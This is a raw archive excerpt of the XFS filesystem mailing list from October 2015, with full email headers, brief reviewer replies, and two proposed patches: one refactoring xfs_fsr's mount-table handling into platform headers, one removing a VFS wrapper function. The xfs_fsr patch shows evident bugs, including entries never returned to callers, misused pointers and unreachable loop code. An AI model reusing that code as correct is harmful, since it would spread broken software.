k10so12233480lbb.0 for ; Tue, 13 Oct 2015 02:12:53 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:subject:to:references:cc:from:message-id:date :user-agent:mime-version:in-reply-to:content-type :content-transfer-encoding; bh=Sr8xRW/gPiaZ7P9lG3WFsr8m2ufIHUPuSVte1L3RFAw=; b=aCJXkM4V+4+Et7xl0TQ+8hFMjIYlAQRMni3NW9/wNEdfmpKSHHoPVB3U93PvhDHBco MyNQVMLTZMq3iG3gwtph7jbPqRMR21Qw5+wqbBEdT8Ru+c2p5ASpNg4dc5AvuZUmYVou KWk8goJiEDHD/LOo1Qtg4HwU4gCKud8kEpZei7CqfGtxCPBek3gRwm2Yf78TIx2+xYiU MfRNXvW7CcsgN2vVEn5SjFpN1+lqFdzWfOPQ0jv9X+xw2rG/EPftpekZjbxUm5O8IvBj 2K0LCATwdfBjy5m71PM1+5zRl7Ii71pcmRZ7B21f45ShWOaFozqXLFC/X2bqIe2bUVIB MupA== X-Gm-Message-State: ALoCoQlt5aEQr525zisIcBp0Es0f8bKeh9pOK49O9xLQRsrX+Q5LSRh/PVsXFYoIEAS24By0JrL2 X-Received: by 10.112.78.100 with SMTP id a4mr1687255lbx.115.1444727573640; Tue, 13 Oct 2015 02:12:53 -0700 (PDT) Received: from avi.cloudius-systems.com ([37.142.229.250]) by smtp.googlemail.com with ESMTPSA id i126sm334786lfe.45.2015.10.13.02.12.51 (version=TLSv1/SSLv3 cipher=OTHER); Tue, 13 Oct 2015 02:12:52 -0700 (PDT) Subject: Re: [PATCH] xfsprogs: make platform_defs.h more friendly to C++ code To: Christoph Hellwig X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: make platform_defs.h more friendly to C++ code References: <1444726778-11867-1-git-send-email-avi@scylladb.com> <20151013090636.GA15024@infradead.org> Cc: xfs@oss.sgi.com From: Avi Kivity Message-ID: <561CCB13.8040902@scylladb.com> Date: Tue, 13 Oct 2015 12:12:51 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <20151013090636.GA15024@infradead.org> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-lb0-f181.google.com[209.85.217.181] X-Barracuda-Start-Time: 1444727574 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23445 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/13/2015 12:06 PM, Christoph Hellwig wrote: > Hi Avi, > > in xfsprogs 4.2 platform_defs.h does not get installed and is purely > internal to xfsprogs, so this shouldn't be needed. Cool, ignore this then. From jtulak@redhat.com Tue Oct 13 04:56:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8FEC17F37 for ; Tue, 13 Oct 2015 04:56:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EF4FDAC006 for ; Tue, 13 Oct 2015 02:56:58 -0700 (PDT) X-ASG-Debug-ID: 1444730215-04cbb00e8729030001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id wDpRlox5eSYkTBpV (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 13 Oct 2015 02:56:56 -0700 (PDT) X-Barracuda-Envelope-From: jtulak@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 6F36991C15; Tue, 13 Oct 2015 09:56:55 +0000 (UTC) Received: from honza-mbp.lan.tulak.me.lan.tulak.me (vpn1-5-50.ams2.redhat.com [10.36.5.50]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9D9urQF015850; Tue, 13 Oct 2015 05:56:54 -0400 From: Jan Tulak To: xfs@oss.sgi.com Cc: david@fromorbit.com, Jan Tulak Subject: [PATCH 12/14 v3] xfsprogs: make fsr use mntinfo when there is no mntent Date: Tue, 13 Oct 2015 11:56:50 +0200 X-ASG-Orig-Subj: [PATCH 12/14 v3] xfsprogs: make fsr use mntinfo when there is no mntent Message-Id: <1444730210-8986-1-git-send-email-jtulak@redhat.com> In-Reply-To: <1443542653-10525-1-git-send-email-jtulak@redhat.com> References: <1443542653-10525-1-git-send-email-jtulak@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444730216 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 UPDATE: - refactor ifdefs to platform_ functions - refactor also the other ifdef which I forgot to change before For what fsr needs, mntinfo can be used instead of mntent on some platforms. Exctract the platform-specific code to platform headers. Signed-off-by: Jan Tulak --- fsr/Makefile | 8 ++++ fsr/xfs_fsr.c | 111 +++++++++++++++++++++++++++----------------------- include/darwin.h | 64 +++++++++++++++++++++++++++++ include/freebsd.h | 32 +++++++++++++++ include/gnukfreebsd.h | 31 ++++++++++++++ include/irix.h | 32 +++++++++++++++ include/linux.h | 31 ++++++++++++++ 7 files changed, 259 insertions(+), 50 deletions(-) diff --git a/fsr/Makefile b/fsr/Makefile index a9d1bf6..d3521b2 100644 --- a/fsr/Makefile +++ b/fsr/Makefile @@ -9,6 +9,14 @@ LTCOMMAND = xfs_fsr CFILES = xfs_fsr.c LLDLIBS = $(LIBHANDLE) +ifeq ($(HAVE_GETMNTENT),yes) +LCFLAGS += -DHAVE_GETMNTENT +endif + +ifeq ($(HAVE_GETMNTINFO),yes) +LCFLAGS += -DHAVE_GETMNTINFO +endif + default: depend $(LTCOMMAND) include $(BUILDRULES) diff --git a/fsr/xfs_fsr.c b/fsr/xfs_fsr.c index c8ef18f..fa7f8cf 100644 --- a/fsr/xfs_fsr.c +++ b/fsr/xfs_fsr.c @@ -32,10 +32,6 @@ #include #include -#ifdef HAVE_MNTENT -# include -#endif - #ifndef XFS_XFLAG_NODEFRAG #define XFS_XFLAG_NODEFRAG 0x00002000 /* src dependancy, remove later */ #endif @@ -180,54 +176,61 @@ aborter(int unused) * here - the code that handles defragmentation of invidual files takes care * of that. */ + +static char * +find_mountpoint_check(struct stat64 *sb, struct mntent *t, struct stat64 *ms) +{ + if (S_ISDIR(sb->st_mode)) { /* mount point */ + if (stat64(t->mnt_dir, &ms) < 0) + return NULL; + if (sb->st_ino != ms->st_ino) + return NULL; + if (sb->st_dev != ms->st_dev) + return NULL; + if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) + return NULL; + } else { /* device */ + struct stat64 sb2; + + if (stat64(t->mnt_fsname, &ms) < 0) + return NULL; + if (sb->st_rdev != ms->st_rdev) + return NULL; + if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) + return NULL; + + /* + * Make sure the mountpoint given by mtab is accessible + * before using it. + */ + if (stat64(t->mnt_dir, &sb2) < 0) + return NULL; + } + + return t->mnt_dir; + +} + static char * find_mountpoint(char *mtab, char *argname, struct stat64 *sb) { - struct mntent *t; + struct mntent_cursor cursor; struct stat64 ms; - FILE *mtabp; + struct mntent t = {}; char *mntp = NULL; - mtabp = setmntent(mtab, "r"); - if (!mtabp) { - fprintf(stderr, _("%s: cannot read %s\n"), - progname, mtab); + if (platform_mntent_open(&cursor, mtab) != 0){ + fprintf(stderr, "Error: can't get mntent entries.\n"); exit(1); } - while ((t = getmntent(mtabp))) { - if (S_ISDIR(sb->st_mode)) { /* mount point */ - if (stat64(t->mnt_dir, &ms) < 0) - continue; - if (sb->st_ino != ms.st_ino) - continue; - if (sb->st_dev != ms.st_dev) - continue; - if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) - continue; - } else { /* device */ - struct stat64 sb2; - - if (stat64(t->mnt_fsname, &ms) < 0) - continue; - if (sb->st_rdev != ms.st_rdev) - continue; - if (strcmp(t->mnt_type, MNTTYPE_XFS) != 0) - continue; - - /* - * Make sure the mountpoint given by mtab is accessible - * before using it. - */ - if (stat64(t->mnt_dir, &sb2) < 0) - continue; - } - - mntp = t->mnt_dir; + while (platform_mntent_next(&cursor, &t) == 0) { + mntp = find_mountpoint_check(sb, &t, &ms); + if (mntp == NULL) + continue; break; } - - endmntent(mtabp); + platform_mntent_close(&cursor); return mntp; } @@ -405,17 +408,13 @@ usage(int ret) static void initallfs(char *mtab) { - FILE *fp; + struct mntent_cursor cursor; + char *mntp = NULL; struct mntent *mp; int mi; char *cp; struct stat64 sb; - - fp = setmntent(mtab, "r"); - if (fp == NULL) { - fsrprintf(_("could not open mtab file: %s\n"), mtab); - exit(1); - } + struct stat64 ms; /* malloc a number of descriptors, increased later if needed */ if (!(fsbase = (fsdesc_t *)malloc(fsbufsize * sizeof(fsdesc_t)))) { @@ -427,7 +426,18 @@ initallfs(char *mtab) /* find all rw xfs file systems */ mi = 0; fs = fsbase; - while ((mp = getmntent(fp))) { + + if (platform_mntent_open(&cursor, mtab) != 0){ + fprintf(stderr, "Error: can't get mntent entries.\n"); + exit(1); + } + + while (platform_mntent_next(&cursor, &mp) == 0) { + mntp = find_mountpoint_check(&sb, &mp, &ms); + if (mntp == NULL) + continue; + break; + int rw = 0; if (strcmp(mp->mnt_type, MNTTYPE_XFS ) != 0 || @@ -477,9 +487,10 @@ initallfs(char *mtab) mi++; fs++; } + platform_mntent_close(&cursor); + numfs = mi; fsend = (fsbase + numfs); - endmntent(fp); if (numfs == 0) { fsrprintf(_("no rw xfs file systems in mtab: %s\n"), mtab); exit(0); diff --git a/include/darwin.h b/include/darwin.h index 288ad1f..fd9384d 100644 --- a/include/darwin.h +++ b/include/darwin.h @@ -33,6 +33,8 @@ #include #include #include +#include +#include #include #define __BYTE_ORDER BYTE_ORDER @@ -218,7 +220,69 @@ static inline int timer_gettime (timer_t timerid, struct itimerspec *value) /* FSR */ +# include +# include +#include +#include #define statvfs64 statfs #define _PATH_MOUNTED "/etc/mtab" +struct mntent +{ + char *mnt_fsname; + char *mnt_dir; + char *mnt_type; + char *mnt_opts; + int mnt_freq; + int mnt_passno; +}; + +static inline void mntinfo2mntent (struct statfs * stats, struct mntent * mnt) { + mnt->mnt_fsname = stats->f_mntfromname; + mnt->mnt_dir = stats->f_mntonname; + mnt->mnt_type = stats->f_fstypename; +} + + + +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; + struct statfs *stats; + int count; + int i; +}; + +/** + * OS X uses getmntinfo, which doesn't use a mtab file. So we just ignore it. + */ +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + if ((cursor->count = getmntinfo(&cursor->stats, 0)) < 0) { + fprintf(stderr, "Error: getmntinfo() failed: %s\n", strerror(errno)); + return 1; + } + cursor->i = 0; + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + if (cursor->i >= cursor->count){ + return 1; + } + mntinfo2mntent(&cursor->stats[cursor->i], t); + cursor->i++; + return 0; + +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + cursor->count = 0; + cursor->i = 0; +} + #endif /* __XFS_DARWIN_H__ */ diff --git a/include/freebsd.h b/include/freebsd.h index 902b940..6bc9e61 100644 --- a/include/freebsd.h +++ b/include/freebsd.h @@ -26,6 +26,7 @@ #include #include #include +#include #include #define __BYTE_ORDER BYTE_ORDER @@ -147,4 +148,35 @@ platform_discard_blocks(int fd, uint64_t start, uint64_t len) return 0; } +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + t = getmntent(cursor->mtabp); + if (t == NULL) + return 1; + return 0; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + + #endif /* __XFS_FREEBSD_H__ */ diff --git a/include/gnukfreebsd.h b/include/gnukfreebsd.h index 95c4c13..2740cae 100644 --- a/include/gnukfreebsd.h +++ b/include/gnukfreebsd.h @@ -31,6 +31,7 @@ #include #include #include +#include #define constpp char * const * @@ -126,4 +127,34 @@ platform_discard_blocks(int fd, uint64_t start, uint64_t len) return 0; } +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + t = getmntent(cursor->mtabp); + if (t == NULL) + return 1; + return 0; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + #endif /* __XFS_KFREEBSD_H__ */ diff --git a/include/irix.h b/include/irix.h index 28564c8..cb9cce0 100644 --- a/include/irix.h +++ b/include/irix.h @@ -37,6 +37,7 @@ #include #include #include +#include #define __int8_t char #define __int16_t short @@ -423,4 +424,35 @@ static __inline__ char * strsep(char **s, const char *ct) #define XFS_XFLAG_NODEFRAG 0x00002000 +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + t = getmntent(cursor->mtabp); + if (t == NULL) + return 1; + return 0; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + + #endif /* __XFS_IRIX_H__ */ diff --git a/include/linux.h b/include/linux.h index 8804c2d..437970b 100644 --- a/include/linux.h +++ b/include/linux.h @@ -30,6 +30,7 @@ #include #include #include +#include static __inline__ int xfsctl(const char *path, int fd, int cmd, void *p) { @@ -145,4 +146,34 @@ typedef __uint64_t xfs_ino_t; typedef __uint32_t xfs_dev_t; typedef __int64_t xfs_daddr_t; +/** + * Abstraction of mountpoints. + */ +struct mntent_cursor { + FILE *mtabp; +}; + +static inline int platform_mntent_open(struct mntent_cursor * cursor, char *mtab) +{ + cursor->mtabp = setmntent(mtab, "r"); + if (!cursor->mtabp) { + fprintf(stderr, "Error: cannot read %s\n", mtab); + return 1; + } + return 0; +} + +static inline int platform_mntent_next(struct mntent_cursor * cursor, struct mntent * t) +{ + t = getmntent(cursor->mtabp); + if (t == NULL) + return 1; + return 0; +} + +static inline void platform_mntent_close(struct mntent_cursor * cursor) +{ + endmntent(cursor->mtabp); +} + #endif /* __XFS_LINUX_H__ */ -- 2.6.0 From agruenba@redhat.com Tue Oct 13 08:39:23 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E4B9B7F37 for ; Tue, 13 Oct 2015 08:39:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8C7C8AC006 for ; Tue, 13 Oct 2015 06:39:22 -0700 (PDT) X-ASG-Debug-ID: 1444743556-04bdf020dcf7bc0001-NocioJ Received: from mail-lb0-f177.google.com (mail-lb0-f177.google.com [209.85.217.177]) by cuda.sgi.com with ESMTP id BKKDqDtFhKXy9zK6 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 06:39:17 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.217.177 Received: by lbwr8 with SMTP id r8so20322337lbw.2 for ; Tue, 13 Oct 2015 06:39:16 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=JsrEKGW7edWzOM76x9YaCpE9JDNUvvM0YsQ+JPZwui0=; b=SgJOfb3E1LVOnNysREN93TgrmC2EDR06oMSMCaSzcX82Zym9kKeMPqKoey1ikam8r0 6oa9rsivIuw+FhkYw0fZyMQDJNLcLvRqFloZ+gOSk2SIVvAM7g6MBb/J8UaGEhxPYSgw 0LiLQ0XyNm170MO54GMnCj1Wpj2cdlMy5SOxmPa5hS2lyCW/PUQ89wIFVeQmzTeFzsXd 5mT72rnsCOqxZWSZs/u9IGdevKrm6fHlIn+amDFZKkB4XJvoNCUQgsn7un5ZRNAAPa0w bUJO5it3E3Tw7e03Dy93uHIrex0SyZHk7FogkpmKqUrQFpuBrtpH5iRSKosPNgKzzdxk 0NRA== X-Gm-Message-State: ALoCoQlSOYJD70KO2vGzJl3MdMkZhg2yYx4oEnAJWwWVfLCekmKeJzfIPAqF6Bp9ZQn0FClGa0Of MIME-Version: 1.0 X-Received: by 10.25.157.131 with SMTP id g125mr9775884lfe.75.1444743556028; Tue, 13 Oct 2015 06:39:16 -0700 (PDT) Received: by 10.112.255.33 with HTTP; Tue, 13 Oct 2015 06:39:15 -0700 (PDT) In-Reply-To: <20151012040545.GC27164@dastard> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> <1444604337-17651-25-git-send-email-andreas.gruenbacher@gmail.com> <20151012001033.GA27164@dastard> <20151012040545.GC27164@dastard> Date: Tue, 13 Oct 2015 15:39:15 +0200 Message-ID: Subject: Re: [PATCH v10 24/46] xfs: Add richacl support From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH v10 24/46] xfs: Add richacl support To: Dave Chinner Cc: =?UTF-8?Q?Andreas_Gr=C3=BCnbacher?= , Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , linux-ext4 , xfs@oss.sgi.com, Linux Kernel Mailing List , Linux FS-devel Mailing List , Linux NFS Mailing List , linux-cifs@vger.kernel.org, Linux API Mailing List Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: mail-lb0-f177.google.com[209.85.217.177] X-Barracuda-Start-Time: 1444743557 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23450 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Oct 12, 2015 at 6:05 AM, Dave Chinner wrote: > On Mon, Oct 12, 2015 at 03:51:15AM +0200, Andreas Gr=C3=BCnbacher wrote: >> 2015-10-12 2:10 GMT+02:00 Dave Chinner : >> > Also, I really dislike the API where passing a NULL acl means to >> > "set this acl" actually means "remove the existing ACL". Why no >> > ->remove_acl method called from the generic code? >> >> It's not uncommon, it saves inode operations and wiring-up code. > > I know it's common. All it does is put extra branches in the > filesystem code to do this, because remove is a different operation > to set. The API sucks, and we're not limited on inode operations, > and the operator overloading makes the filesystem code unnecessarily > complex as it has to detect when to branch out ot remove or not... I've tried it out. The filesystem code could be simplified (see the richacl-wip [*] branch until the next posting). Adding a remove_richacl inode operation on top of that really doesn't help. Thanks, Andreas [*] git://git.kernel.org/pub/scm/linux/kernel/git/agruen/linux-richacl.git richacl-wip From ross.zwisler@linux.intel.com Tue Oct 13 11:19:52 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8C6D57F37 for ; Tue, 13 Oct 2015 11:19:52 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id AEB7FAC009 for ; Tue, 13 Oct 2015 09:19:49 -0700 (PDT) X-ASG-Debug-ID: 1444753187-04cbb00e8b361c0001-NocioJ Received: from mga14.intel.com ([192.55.52.115]) by cuda.sgi.com with ESMTP id y1MxurAPgvSKGQfb for ; Tue, 13 Oct 2015 09:19:47 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.115 Received: from orsmga002.jf.intel.com ([10.7.209.21]) by fmsmga103.fm.intel.com with ESMTP; 13 Oct 2015 09:19:46 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,678,1437462000"; d="scan'208";a="825746890" Received: from theros.lm.intel.com ([10.232.112.146]) by orsmga002.jf.intel.com with ESMTP; 13 Oct 2015 09:19:45 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dave Chinner , Ryusuke Konishi , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nilfs@vger.kernel.org, xfs@oss.sgi.com, Jan Kara , Christoph Hellwig Subject: [PATCH] vfs: remove unused wrapper block_page_mkwrite() Date: Tue, 13 Oct 2015 10:19:40 -0600 X-ASG-Orig-Subj: [PATCH] vfs: remove unused wrapper block_page_mkwrite() Message-Id: <1444753180-27993-1-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 X-Barracuda-Connect: UNKNOWN[192.55.52.115] X-Barracuda-Start-Time: 1444753187 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23454 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 The function currently called "__block_page_mkwrite()" used to be called "block_page_mkwrite()" until a wrapper for this function was added by: commit 24da4fab5a61 ("vfs: Create __block_page_mkwrite() helper passing error values back") This wrapper, the current "block_page_mkwrite()", is currently unused. __block_page_mkwrite() is used directly by ext4, nilfs2 and xfs. Remove the unused wrapper and rename __block_page_mkwrite() back to block_page_mkwrite(). Signed-off-by: Ross Zwisler Cc: Jan Kara Cc: Christoph Hellwig Cc: Al Viro --- fs/buffer.c | 22 +--------------------- fs/ext4/inode.c | 4 ++-- fs/nilfs2/file.c | 2 +- fs/xfs/xfs_file.c | 2 +- include/linux/buffer_head.h | 2 -- 5 files changed, 5 insertions(+), 27 deletions(-) diff --git a/fs/buffer.c b/fs/buffer.c index 82283ab..7e496dc 100644 --- a/fs/buffer.c +++ b/fs/buffer.c @@ -2422,7 +2422,7 @@ EXPORT_SYMBOL(block_commit_write); * Direct callers of this function should protect against filesystem freezing * using sb_start_write() - sb_end_write() functions. */ -int __block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, +int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, get_block_t get_block) { struct page *page = vmf->page; @@ -2459,26 +2459,6 @@ out_unlock: unlock_page(page); return ret; } -EXPORT_SYMBOL(__block_page_mkwrite); - -int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, - get_block_t get_block) -{ - int ret; - struct super_block *sb = file_inode(vma->vm_file)->i_sb; - - sb_start_pagefault(sb); - - /* - * Update file times before taking page lock. We may end up failing the - * fault so this update may be superfluous but who really cares... - */ - file_update_time(vma->vm_file); - - ret = __block_page_mkwrite(vma, vmf, get_block); - sb_end_pagefault(sb); - return block_page_mkwrite_return(ret); -} EXPORT_SYMBOL(block_page_mkwrite); /* diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 612fbcf..2d1ecd2 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -5244,7 +5244,7 @@ int ext4_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) !ext4_should_journal_data(inode) && !ext4_nonda_switch(inode->i_sb)) { do { - ret = __block_page_mkwrite(vma, vmf, + ret = block_page_mkwrite(vma, vmf, ext4_da_get_block_prep); } while (ret == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)); @@ -5291,7 +5291,7 @@ retry_alloc: ret = VM_FAULT_SIGBUS; goto out; } - ret = __block_page_mkwrite(vma, vmf, get_block); + ret = block_page_mkwrite(vma, vmf, get_block); if (!ret && ext4_should_journal_data(inode)) { if (ext4_walk_page_buffers(handle, page_buffers(page), 0, PAGE_CACHE_SIZE, NULL, do_journal_get_write_access)) { diff --git a/fs/nilfs2/file.c b/fs/nilfs2/file.c index 54575e3..088ba00 100644 --- a/fs/nilfs2/file.c +++ b/fs/nilfs2/file.c @@ -109,7 +109,7 @@ static int nilfs_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) goto out; file_update_time(vma->vm_file); - ret = __block_page_mkwrite(vma, vmf, nilfs_get_block); + ret = block_page_mkwrite(vma, vmf, nilfs_get_block); if (ret) { nilfs_transaction_abort(inode->i_sb); goto out; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index e78feb4..f80e90f 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1506,7 +1506,7 @@ xfs_filemap_page_mkwrite( ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_direct, xfs_end_io_dax_write); } else { - ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); + ret = block_page_mkwrite(vma, vmf, xfs_get_blocks); ret = block_page_mkwrite_return(ret); } diff --git a/include/linux/buffer_head.h b/include/linux/buffer_head.h index e6797de..89d9aa9 100644 --- a/include/linux/buffer_head.h +++ b/include/linux/buffer_head.h @@ -227,8 +227,6 @@ int cont_write_begin(struct file *, struct address_space *, loff_t, get_block_t *, loff_t *); int generic_cont_expand_simple(struct inode *inode, loff_t size); int block_commit_write(struct page *page, unsigned from, unsigned to); -int __block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, - get_block_t get_block); int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, get_block_t get_block); /* Convert errno to return value from ->page_mkwrite() call */ -- 2.1.0 From jim.epost@gmail.com Tue Oct 13 11:41:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID, UPPERCASE_50_75 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 79EE57F37 for ; Tue, 13 Oct 2015 11:41:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0EFF68F8035 for ; Tue, 13 Oct 2015 09:41:33 -0700 (PDT) X-ASG-Debug-ID: 1444754486-04bdf020dbfde10001-NocioJ Received: from mail-vk0-f42.google.com (mail-vk0-f42.google.com [209.85.213.42]) by cuda.sgi.com with ESMTP id f1wK65PfiHWxf5OQ (version=TLSv1.2 